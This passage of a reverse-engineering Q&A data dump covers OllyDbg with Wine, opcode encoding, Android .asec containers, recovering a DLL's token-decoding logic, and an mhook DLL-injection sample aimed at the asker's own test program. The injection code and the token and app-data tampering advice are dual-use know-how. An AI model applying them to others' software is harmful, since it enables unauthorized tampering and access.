files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above differences are from oleaut32.dll, but I’ve noticed similar when checking other Wine dlls. Location of Wine dlls:&#xA;~/.wine/drive_c/windows/system32 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using wine-1.4.1 and OllyDbg 2.01.&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="3254" LastEditDate="2014-01-26T01:43:31.993" LastActivityDate="2014-01-28T11:41:12.110" Title="Strange behaviour of Wine dlls under OllyDbg" Tags="|ollydbg|dll|wine|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-30T12:07:14.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="1" CreationDate="2014-01-25T22:42:32.453" Score="-2" ViewCount="208" Body="&lt;p&gt;I was wondering this because I have found that some instructions, on the machine code level, are too large if taken a step down from hex to 0s and 1s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Motorola 68000 I found that some instructions need multiple parts, and/or need to actually have three instructions because the data can't all fit(such as writing a string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I decided to make this really simple with the x86 instruction &lt;code&gt;pusha&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pusha&lt;/code&gt; is 0x60 in hexadecimal, which is not even one byte: &lt;code&gt;1100 000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WILL x86 will parse this (assuming I write this in an executable directly) without adding an extra zero to make it two bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have noticed some issues with transferring hexadecimal to bin, so I was wondering, once again ... is hexadecimal always 1:1 correlated with binary, or is some modding needed sometimes(such as with those regarding &lt;strong&gt;size&lt;/strong&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="3753" LastActivityDate="2014-01-25T22:57:41.517" Title="Is there always 1:1 correlation between hexadecimal and binary?" Tags="|binary-analysis|hex|machine-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostTypeId="2" ParentId="3555" CreationDate="2014-01-25T22:51:38.663" Score="3" Body="&lt;p&gt;This is always a 1:1 ratio. 0x60 is a byte 0110 0000 always. Its very beneficial to understand that everything just comes back to binary. The rest is all just representations. There is no difference between 'A', 0x41, and 0b01000000. You will have to put the leading zero infront of your example, although compilers could assume, that i'm not sure of) but there is a large difference better 0b01100000 (PUSHA) and 0b1110000 (LOOPNZ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For x86, it might be interesting for you to look at the op code encoding &lt;a href=&quot;http://ref.x86asm.net/coder32.html&quot; rel=&quot;nofollow&quot;&gt;a table can be found here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of machine code, the op code deems how many more bytes are needed to complete an instruction. This is one of the differences between a RISC (e.g. ARM) and CISC (e.g. x86) architectures. RISC instructions sets use a fixed instruction length, where as CISC instruction sets have variable instruction lengths.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-01-25T22:57:41.517" LastActivityDate="2014-01-25T22:57:41.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostTypeId="1" AcceptedAnswerId="3560" CreationDate="2014-01-26T09:36:22.437" Score="-2" ViewCount="11307" Body="&lt;p&gt;How to edit .asec or compare two .asec files witch are stored by app at location mnt/.android_souce/app name.asec.&#xA;This file get updated whenever data connection is on / while using app to upload and download app data .&#xA;This folder not able to access on non rooted Phone but can able to access on pc with usb .&#xA;What are capable software that can read and writing easily .asec file ?&lt;/p&gt;&#xA;" OwnerUserId="3749" LastEditorUserId="3749" LastEditDate="2014-01-27T06:31:01.113" LastActivityDate="2014-01-27T06:31:01.113" Title="How to edit .asec file?" Tags="|android|java|hex|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2014-01-26T18:00:28.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="3559" PostTypeId="1" CreationDate="2014-01-26T13:53:41.097" Score="7" ViewCount="3496" Body="&lt;p&gt;I am trying to retrieve a decrypting/deconing logic from a program. Unfortunately I have virtually no experiencing in reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building an alternative controller application for a multimedia device.&#xA;The original controller is available for Windows (which I target) as well as for mac, ios and android.&#xA;Most of the communication between the device and the controller application is similar to the UPnP protocol, therefor teransmitted in XML and readable in cleartext.&#xA;There is one instance however where the device sends some sort of token to the controller (which the controller uses subsequently to authenticate against other services) and this transmission seems to be encoded/encrypted/obfuscated (referred as &quot;encoded&quot; in the text).&#xA;This encoded form is transmitted in an XML field of a normal UPnP response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made the following observations while monitoring several transmissions of the encoded form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It always starts with 2: and is followed by what seems to be a base64 encoded string&lt;/li&gt;&#xA;&lt;li&gt;When transmitted multiple times the sting changes even though the content supposedly did not change (this is under the assumption that no other variables like a timestamp are included before encoding). So some kind of salt could be present.&lt;/li&gt;&#xA;&lt;li&gt;The length of the string remains the same if the data is not changed&lt;/li&gt;&#xA;&lt;li&gt;If removing all tokens from the controller there is still some encoded data transmitted in this field. This leads me to thinking that either padding takes place, or (more likely) the encoded string decodes to some serialized from of data structure (maybe even XML).&lt;/li&gt;&#xA;&lt;li&gt;The token that is used for authentication (so the decoded form) does remain the same even though the encoded version differs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The application itself is written in c# &lt;strong&gt;but all the security related stuff (including decoding/handling the token) seems to be called using pINVOKE from a DLL which was not written in .net&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran signsrch on the dll where I suspect the encoding to take place however a lot of possible hits are returned (30+). &#xA;When taking a look at the dll it seems that the openssl library is compiled into it so there might be a lot of false positives. &#xA;The DLL also handles HTTPS communication so openssl is not necessarily related to the encoding method I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to look into ida pro and windbg however what I read from tutorials this mainly revolves around setting breakpoints before clicking on a button that activates e.g. a check routine.&#xA;However in my case the controller application receives this data once on application start (with dozens of other UPnP packets) and my guess is that decoding takes place on receiving the packet so there is no possibility to set an breakpoint to e.g. a button.&#xA;What I was able to figure out however is that the decoded tokens are present in memory (however offsets differ each time the application is started). The encoded version does not seem to be present in memory at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&#xA;Encoded String when no token is configured:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2:nrlrLkCeoSOK34YSDZUKzbXs6olm9YSE4jLFnXONMJO5XhjfwCsPpymjHEXBhuSiRUAYpghW1NHj7M2zIgzcbw==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Three strings representing (supposedly) the same data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2:PITkxbk12KlLvsPtOV8ptZbqfMcK0EmSA/XOejbBHs8+ffKNzwYSoz6oGdL5wiudTWJri4ZG/CwB2/Pfh91ULuqBYWaLaW7YCzEzRb53NS+qarNiUAU0Kn7TCuhPzougX91sKFOP3BTWdUu6BQBP7IlWIZ1odp4ilU8RdEUhPvkOVyH9OBQwvpYXPbqca/OLGjNFPvomS5yaeOjtbpDuVd8mfvBycVHB8rULDvkJcXOS/qQWHOt8iYYZXHBXBD9v4h3Bs+o09sWsXxIh+0q4qz+TKY/gYRnogenJ9vN83lkE6FTgtHns/6zxlCt4xaFINmShdovvYlS/sdZ+aKgcGoq8zFjWJAbc2WQQwdxPTLZsCUmJSjH6jp1t6pCv7t4tBMaSpCTvAoRrXElNQIW1LOe/9X6Cu5Ggjp17Whwe9+7DuWz6HxPEpq/TIVLIV7kJQRj6GcD7/sWPakLLXxiN1Bf5yfJVvX3wA67vwXwigO5v5d5JzKPrjULskeCLUk//61gPulxFguf63cn6NN1zXpDBOf3sCxwzquKIobE8s+F2mJ0pzWCNwYSg3IpvAUzH2fqLvsjqO6DdNr6AVZr77vPG9/dQ2+sFesFHMFQ859eVwNUSvYkxQoqFukxJOXfY+muf1AYqczvCA0K/uYDnKAj24oB0Wgw9YvAS8YHO9YI=&#xA;&#xA;2:XfaIk9XLov9k8vHKXXZ9NFpUvNSk8QsEjI73E+txW6wg+kSr2hWWljLU5OOmQBcN+ACRKF4f4paJBxlf9AGiFnWyrNKT4nguM/4iBsHsiIADlMavjYncsNntClcxPh+Me2l1W/uQzqG83SlHcM525P5wfpH45zC7/hFjmWKPGIQ/k/LAsJy6gZlrmOZ0B2JJ0Cw+yUOzTD4EUo092EPRf7hq7aIrs0dLfPtT2D6LMKwmKAfW2fhllV/jJ33dAVn6Dy/PctFErGtvXljhnuI8r5qpMyIOZ5SsoFE/tnk+kOqWYVg5/Djbl/fpV2p70B9vxzpVkko8pfIJ3UmYsqu5WSlaX441Qs/gY8nzjWmJw8+8LzxL+P2YgYo5W+u6a/oS4R+sZ3FD0q3KQvmVNjklgdGipTOfsv9amP6M6ifAHPdgB5kj9ivOtufaiFKR9GqS9/g4vjYQqofU3Yk2nB6xMi2W1eA2Mk+BJAjfsTr1Yo4Njoa0+XQfAMfqpJe9Zka2NSLu2noDDEdRTqASJi6IiNxbsbsVGHhHFEAEojwTQlrk6xUtOt5RjTA6XovdgQoGywjU+FixEbEEQA0TbNE2KsFhmKXIauo3yQaZ9EKDMJjOMz53UK/EFEZu6L7yy7ijnQB13rSw+obIbFXr/J/vxc97EsRXm7zSUIQoEq9qwKE=&#xA;&#xA;2:9xVbeGOq4XDN26aIYcbNVYDAVQNgVseVvipidY71ZzJAKYlYdcDd46uIFQdfla5pXqupZABtl4Njg+wC8lxmxx2EFR1ZwBYr+ZbvswCQp9YKKMAhI3Ly12j3XNrtIAfl+EDDgz5woHNLXLfVthFel4WSe3mGHMa0S8ZcXRyRyLJHx7lIXZ4G68by2cLTYTldAWuYYl7xhmIJNLgMA8iI63FBGYiw/aXd/30KkLPoUP7As1R/GfItnDfp0pG5l63DtBFSo3mnDRVrdDIsYALRpsBLhhvx4+0CjlyMaK511pM0+IxmtcE6L0L6QhcztYzWcjnbjkLi7r9dmO5ABEfq8/8+wpnxERXwiwRTsYPy2/+rYQlLK0hkeGiqacbnjQQWyVRVzaE47oAhC9ln+ws5go/v+reDHhmpf/9vj9RO7EzFq9LVZRxbxy7C5QZzHEqncSdR+TzOrs0MkRO3pe+e2Q5P68kgTYVO6K8XpvLU9ClfDyIOCpwNufRz/fEVl2ry5UrjS5d5k39+UheQizu9nu+Y+4xC42Wd+y1E7WsZYQaLgNL6EQP1w8yb3+PwdvgOxgId7IMag81/4+mjO9x/N1Zoq405nSXodirZ5RiWIAl4+uHARqwDnX1lZQo7Fo0pMs8ZwOtGiqA8/WVbMKqigBOEW6m2/2K2nI3cTYKqmVg=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd love to hear suggestions how to approach this problem to get more insight.&lt;/p&gt;&#xA;" OwnerUserId="3756" LastEditorUserId="3756" LastEditDate="2014-01-27T12:36:52.567" LastActivityDate="2014-03-29T23:43:50.307" Title="Retrieving encryption/encoding logic from dll" Tags="|obfuscation|encryption|decryption|encodings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="2" ParentId="3558" CreationDate="2014-01-26T14:26:20.317" Score="5" Body="&lt;p&gt;The ASEC file is a TwoFish encrypted container which in turn is a dm-crypt volume that gets mounted by Linux's device mapper at /mnt/asec/[app_id] (The AppID is based on the package name). The 128-bit key to the container can be found in /data/misc/systemkeys but this file requires root access for reading. You can read exactly how the encryption works &lt;a href=&quot;http://nelenkov.blogspot.com.br/2012/07/using-app-encryption-in-jelly-bean.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Moving on, the mounted volume will contain an unencrypted apk of the application. In order to change the desired data, it's necessary to understand where the data is stored and how it is done. For that, the application will have to be reverse-engineered by either decompilation - &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/42/decompiling-android-application/46#46&quot;&gt;list of tools&lt;/a&gt; - or by disassembly to smali and posterior debugging using tools such as &lt;a href=&quot;https://code.google.com/p/android-apktool/&quot; rel=&quot;noreferrer&quot;&gt;apktool&lt;/a&gt; and &lt;a href=&quot;https://code.google.com/p/androguard/&quot; rel=&quot;noreferrer&quot;&gt;androguard&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, these steps can be bypassed as the app uses a database file in it's directory (usually /data/data//) that you can edit with any SQLite editor, such as &lt;a href=&quot;https://play.google.com/store/apps/details?id=oliver.ehrenmueller.dbadmin&quot; rel=&quot;noreferrer&quot;&gt;SQLite Debugger&lt;/a&gt; or using the sqlite3 set included by default in Android, or keeps the relevant information in memory in a way that is trivial to change it with a memory editor such as &lt;a href=&quot;http://gameguardian.net/&quot; rel=&quot;noreferrer&quot;&gt;GameGuardian&lt;/a&gt;. However, the data can be stored server-side and transmitted through the network when app is started and then kept in memory in a not easily modifiable way so that in order to be able to change it, you will need to not only reverse-engineer the application but also to intercept and modify the traffic it receives in order to transmit the new information to the application.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2014-01-26T14:39:21.590" LastActivityDate="2014-01-26T14:39:21.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="1" CreationDate="2014-01-26T21:42:17.227" Score="7" ViewCount="1043" Body="&lt;p&gt;I have been unable to get IDA pro to do a simple disassembly of a flat 16-bit binary (bootloader) file. I'm just getting started, and it seems to be harder than it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a simple set of instructions, that do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:7C5D                 push    7C0h&#xA;seg000:7C60                 pop     ds&#xA;seg000:7C61                 assume ds:nothing&#xA;seg000:7C61                 push    ds&#xA;seg000:7C62                 push    (offset unk_7C66 - offset loc_7C00)&#xA;seg000:7C65                 retf&#xA;seg000:7C65 ; --------------------------------------------------------------------------&#xA;seg000:7C66 unk_7C66        db  88h ; ê             ; DATA XREF: seg000:7C62o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right under &lt;code&gt;push 7c0h; pop ds&lt;/code&gt; it says &lt;code&gt;assume ds:nothing&lt;/code&gt;. &lt;code&gt;retf&lt;/code&gt; actually uses the values in the stack to set the segment and offset. Is there a way to manually enable such analysis? Are there more intelligent disassemblers out there? I'm having trouble following the flow and IDA isn't helping at ALL.&lt;/p&gt;&#xA;" OwnerUserId="3757" LastActivityDate="2014-07-02T11:06:55.917" Title="How to get IDA Pro Free to automatically change segment on retf?" Tags="|ida|disassembly|tools|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="2" ParentId="3203" CreationDate="2014-01-26T22:41:03.190" Score="7" Body="&lt;p&gt;Many years ago I wrote a very crude script to dump the current (as defined by cursor location) function to the output window using mostly nasm compatible syntax. You could potentially modify to save output to a file and iterate over every function in your database. The script is available here: &lt;a href=&quot;http://www.idabook.com/scripts/generate_nasm.idc&quot;&gt;nasm dumper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-01-26T22:41:03.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="2" ParentId="3444" CreationDate="2014-01-26T23:08:06.423" Score="7" Body="&lt;p&gt;start is the address that IDA pulls from the file header.  For PE files this corresponds to (AddressOfEntryPoint + ImageBase). start != main, main is language (C/C++) specific requirement, not all languages require &quot;main&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the jobs of the code that executes between start and main is to setup all the arguments that main expects (argc, argv, envp) in the manner that main expects to receive them according to the calling conventions of the platform for which the binary was built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA attempts to locate main for you because you are often not interested in the code between start and main which is generally just compiler boiler plate code. In some cases IDA will note that there is a symbol named main and just drop you there. In other cases, IDA does what is effectively signature matching against the start code to pick out the address of main. Compilers tend to have unique ways of reaching main, so if (a big if) IDA has a signature for a specific compiler, then it may be able to pick main out for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't mention whether you are using IDA on the Debug or Release version of your binary. In my experience with IDA/Visual Studio, IDA will have a tough time finding main on Debug builds and does a better job on Release builds. If you compare the two different .exe files, you will see that they are vastly different. Specifically flow through Debug builds is much more complicated than through Release builds.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-01-26T23:08:06.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostTypeId="2" ParentId="3559" CreationDate="2014-01-27T09:57:55.517" Score="2" Body="&lt;p&gt;Cant comment, so an answer it is :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- If you know what dll it is you need to look at and its written in .net, IDA will probably not be the best option (from personal experience).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you are still looking for a dll which you need to decompile, you might want to give APImon and procmon a shot to find what exactly needs decompiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest try using a .net decompiler, for example &lt;a href=&quot;http://www.jetbrains.com/decompiler/&quot; rel=&quot;nofollow&quot;&gt;dotPeek&lt;/a&gt; or any other. You can generally read code as is from any .net program (not obfuscated / encrypted)&#xA;If a dll is obfuscated, you can try deobfuscating it with &lt;a href=&quot;https://bitbucket.org/0xd4d/de4dot/downloads&quot; rel=&quot;nofollow&quot;&gt;de4dot&lt;/a&gt; or dump from memory and analyze that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above strings are definitely base64 encoded, so you are probably going to be looking for object.binary.base64&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2014-01-27T09:57:55.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3565" PostTypeId="1" CreationDate="2014-01-27T13:05:40.150" Score="2" ViewCount="1116" Body="&lt;p&gt;So I'm exploring mhook 2.3 and have build a sample executable specifically for this purpose.  I have an injector that injects a dll containing mhook into the target process.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works correctly and I can verify that my code is being called by the target process by checking my log file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I go to hook my target function mhook simply returns and says that it failed to hook the function.  I've used OllyDBG and IDA to verify that the address for the target function that I'm passing in to mhook is correct and the function signature for the trampoline is exactly the same as the target function but it still fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at my wits end.  Can someone please tell me what I'm doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the target program that I've built.  It's a simple Windows console application that prints out a random message every second.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// reverse me.cpp : This is the program that I will be attempting to hook into.&#xA;//&#xA;&#xA;#include &quot;stdafx.h&quot;&#xA;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;Psapi.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;class blargClass1&#xA;{&#xA;public:&#xA;    blargClass1();&#xA;    void WINAPI blargFunction1(void);&#xA;};&#xA;&#xA;__declspec(noinline) blargClass1::blargClass1()&#xA;{&#xA;    printf(&quot;blargClass1::blargClass1\n&quot;);&#xA;};&#xA;&#xA;__declspec(noinline) void  WINAPI blargClass1::blargFunction1( void )&#xA;{&#xA;    switch( rand() % 10 + 1 )&#xA;    {&#xA;    case 1:&#xA;        printf(&quot;blargFunction1 - case 1\n&quot;);&#xA;        break;&#xA;    case 2:&#xA;        printf(&quot;blargFunction1 - case 2\n&quot;);&#xA;        break;&#xA;    case 3:&#xA;        printf(&quot;blargFunction1 - case 3\n&quot;);&#xA;        break;&#xA;    case 4:&#xA;        printf(&quot;blargFunction1 - case 4\n&quot;);&#xA;        break;&#xA;    case 5:&#xA;        printf(&quot;blargFunction1 - case 5\n&quot;);&#xA;        break;&#xA;    default:&#xA;        printf(&quot;blargFunction1 - default\n&quot;);&#xA;    }&#xA;};&#xA;&#xA;#pragma comment( lib, &quot;psapi.lib&quot;)&#xA;&#xA;DWORD GetCurrentModuleBase( LPWSTR targetModule )&#xA;{ &#xA;    HMODULE hMods[1024];&#xA;    HANDLE hProcess;&#xA;    DWORD cbNeeded;&#xA;    DWORD baseAddress = -1;&#xA;    unsigned int i;&#xA;&#xA;    // Get the current process id.&#xA;    DWORD processID = GetCurrentProcessId();&#xA;    printf( &quot;GetCurrentProcessId = %u\n&quot;, processID );&#xA;&#xA;    // Get a handle to the process.&#xA;    hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );&#xA;&#xA;    // Sanity checking on process handle.&#xA;    if( hProcess == NULL )&#xA;    {&#xA;        printf( &quot;hProcess is NULL.\n&quot; );&#xA;        return 1;&#xA;    }&#xA;&#xA;   // Get a list of all the modules in this process.&#xA;    if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &amp;amp;cbNeeded))&#xA;    {&#xA;        // Iterate through each module&#xA;        for ( i = 0; i &amp;lt; (cbNeeded / sizeof(HMODULE)); i++ )&#xA;        {&#xA;            WCHAR szModName[MAX_PATH];&#xA;&#xA;            // Get the full path to the module's file.&#xA;            if ( GetModuleFileNameEx( hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR)))&#xA;            {&#xA;                // Print the module name and handle value.&#xA;                //wprintf( L&quot;\t%s (0x%08X)\n&quot;, szModName, hMods[i] );&#xA;&#xA;                // Is this the module that we're looking for?&#xA;                std::wstring moduleName = szModName;&#xA;                if( moduleName.find( targetModule ) != std::wstring::npos )&#xA;                {&#xA;                    baseAddress = (DWORD)hMods[i];&#xA;                }&#xA;            }&#xA;&#xA;        }&#xA;    }&#xA;&#xA;    // Release the handle to the process.&#xA;    CloseHandle( hProcess );&#xA;&#xA;    return baseAddress;&#xA;}&#xA;&#xA;&#xA;int _tmain(int argc, _TCHAR* argv[])&#xA;{&#xA;    blargClass1 blarg_class_1;&#xA;&#xA;    printf( &quot;GetCurrentModuleBase = 0x%08X\n&quot;, GetCurrentModuleBase( L&quot;reverse me.exe&quot; ) );&#xA;&#xA;    while( true )&#xA;    {&#xA;&#xA;        // Call the target function&#xA;        blarg_class_1.blargFunction1();&#xA;&#xA;        Sleep(1000);&#xA;    }&#xA;&#xA;    return 0;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the DLL containing the mhook code that I inject into that process.  All I'm trying to do is hook blargFunction1 so that it prints out an additional line when it's called.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//SimpleDLL.cpp&#xA;#include &quot;Stdafx.h&quot;&#xA;#include &quot;SimpleDLL.h&quot;&#xA;#include &quot;mhook-lib/mhook.h&quot;&#xA;#include &amp;lt;Psapi.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;wchar.h&amp;gt;&#xA;&#xA;// Open the log file.&#xA;FILE *file;&#xA;&#xA;//=========================================================================&#xA;// Define the target functions so we can dynamically bind to the function&#xA;//&#xA;typedef void (WINAPI *_blargFunction1)( void );&#xA;&#xA;&#xA;//=========================================================================&#xA;// Get the current (original) address to the functions to be hooked&#xA;//&#xA;_blargFunction1 TrueBlargFunction1 = (_blargFunction1)(0x1770);&#xA;&#xA;//=========================================================================&#xA;// This is the function that will replace the target function once the hook &#xA;// is in place&#xA;//&#xA;void WINAPI blargFunction1(void)&#xA;{&#xA;    fprintf( file, &quot;***** Call to blargFunction1 from mhook sample.\n&quot;);&#xA;    return TrueBlargFunction1();&#xA;}&#xA;&#xA;#pragma comment(lib, &quot;psapi.lib&quot;)&#xA;&#xA;DWORD GetCurrentModuleBase( LPWSTR targetModule )&#xA;{ &#xA;    HMODULE hMods[1024];&#xA;    HANDLE hProcess;&#xA;    DWORD cbNeeded;&#xA;    DWORD baseAddress = -1;&#xA;    unsigned int i;&#xA;&#xA;    // Get the current process id.&#xA;    DWORD processID = GetCurrentProcessId();&#xA;    fprintf( file, &quot;Process ID: %u\n&quot;, processID );&#xA;&#xA;    // Get a handle to the process.&#xA;    hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );&#xA;&#xA;    // Sanity checking on process handle.&#xA;    if( hProcess == NULL )&#xA;    {&#xA;        fprintf( file, &quot;hProcess is NULL.\n&quot; );&#xA;        return 1;&#xA;    }&#xA;&#xA;   // Get a list of all the modules in this process.&#xA;    if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &amp;amp;cbNeeded))&#xA;    {&#xA;        // Iterate through each module&#xA;        for ( i = 0; i &amp;lt; (cbNeeded / sizeof(HMODULE)); i++ )&#xA;        {&#xA;            WCHAR szModName[MAX_PATH];&#xA;&#xA;            // Get the full path to the module's file.&#xA;            if ( GetModuleFileNameEx( hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR)))&#xA;            {&#xA;                // Print the module name and handle value.&#xA;                //fwprintf( file, L&quot;\t%s (0x%08X)\n&quot;, szModName, hMods[i] );&#xA;&#xA;                // Is this the module that we're looking for?&#xA;                std::wstring moduleName = szModName;&#xA;                if( moduleName.find( targetModule ) != std::wstring::npos )&#xA;                {&#xA;                    //fprintf( file, &quot;Found it.\n&quot;);&#xA;&#xA;                    baseAddress = (DWORD)hMods[i];&#xA;                }&#xA;            }&#xA;&#xA;        }&#xA;    }&#xA;&#xA;    // Release the handle to the process.&#xA;    CloseHandle( hProcess );&#xA;&#xA;    return baseAddress;&#xA;}&#xA;&#xA;&#xA;extern &quot;C&quot; int WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) {&#xA;&#xA;    time_t now = time(NULL);&#xA;    struct tm nowTM;&#xA;    char datetime[32];&#xA;    DWORD baseAddress = 0;&#xA;&#xA;    localtime_s( &amp;amp;nowTM, &amp;amp;now );&#xA;&#xA;    // Generate a date/time string.&#xA;    strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;&#xA;    fopen_s( &amp;amp;file, &quot;simpledll.log&quot;, &quot;a+&quot;);&#xA;&#xA;    // Perform different actions based on why this function is being called.&#xA;    switch( fdwReason )&#xA;    {&#xA;        case DLL_PROCESS_ATTACH:&#xA;&#xA;            fprintf(file, &quot;----------------------------------\n&quot;);&#xA;            fprintf(file, &quot;%s SimpleDll - DLL_PROCESS_ATTACH.\n&quot;,  datetime);&#xA;&#xA;            // Determine the base address of this process.&#xA;            baseAddress = GetCurrentModuleBase( L&quot;reverse me.exe&quot; );&#xA;            strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            fprintf( file, &quot;%s SimpleDll - GetCurrentModuleBase = 0x%08X\n&quot;, datetime, baseAddress );&#xA;&#xA;            // Determine the memory address of the target function.&#xA;            TrueBlargFunction1 = (_blargFunction1)( (DWORD)TrueBlargFunction1 + baseAddress);&#xA;            strftime( datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM );&#xA;            fprintf( file, &quot;%s SimpleDll - TrueBlargFunction1 = 0x%08X.\n&quot;,  datetime, TrueBlargFunction1 );&#xA;&#xA;            //strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            //fprintf(file, &quot;%s SimpleDll - Before Mhook_SetHook.\n&quot;,  datetime);&#xA;&#xA;            // Set the hook&#xA;            if( Mhook_SetHook( (PVOID*)&amp;amp;TrueBlargFunction1, blargFunction1) ) &#xA;            {&#xA;                strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;                fprintf(file, &quot;%s SimpleDll - Successfully set hook.\n&quot;,  datetime);&#xA;&#xA;                // Remove the hook&#xA;                //Mhook_Unhook((PVOID*)&amp;amp;TrueBlargFunction1);&#xA;&#xA;                //strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;                //fprintf(file, &quot;%s SimpleDll - Unset hook.\n&quot;,  datetime);&#xA;&#xA;            }&#xA;            else&#xA;            {&#xA;                strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;                fprintf(file, &quot;%s SimpleDll - Failed to set hook.\n&quot;,  datetime);&#xA;            }&#xA;&#xA;            strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            fprintf(file, &quot;%s SimpleDll - After Mhook_SetHook.\n&quot;,  datetime);&#xA;&#xA;            break;&#xA;&#xA;        case DLL_PROCESS_DETACH:&#xA;            strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            fprintf(file, &quot;%s SimpleDll - DLL_PROCESS_DETACH.\n&quot;,  datetime);&#xA;            break;&#xA;        case DLL_THREAD_ATTACH:&#xA;            strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            fprintf(file, &quot;%s SimpleDll - DLL_THREAD_ATTACH.\n&quot;,  datetime);&#xA;            break;&#xA;        case DLL_THREAD_DETACH:&#xA;            strftime(datetime, 32, &quot;%Y%m%d %H:%M:%S&quot;, &amp;amp;nowTM);&#xA;            fprintf(file, &quot;%s SimpleDll - DLL_THREAD_DETACH.\n&quot;,  datetime);&#xA;            break;&#xA;    